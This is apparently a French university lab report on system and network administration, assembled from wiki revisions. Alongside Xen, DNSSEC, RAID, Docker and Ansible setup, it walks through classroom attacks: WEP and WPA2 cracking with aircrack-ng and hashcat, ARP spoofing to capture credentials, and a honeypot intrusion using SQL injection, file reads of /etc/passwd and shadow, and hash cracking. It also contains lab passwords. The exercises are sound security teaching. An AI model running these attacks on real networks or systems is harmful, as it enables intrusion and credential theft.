Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T14:55:52Z

Psanchez : /* Création de notre conteneur */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T11:05:18Z

Psanchez : /* Equilibreur de charge */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

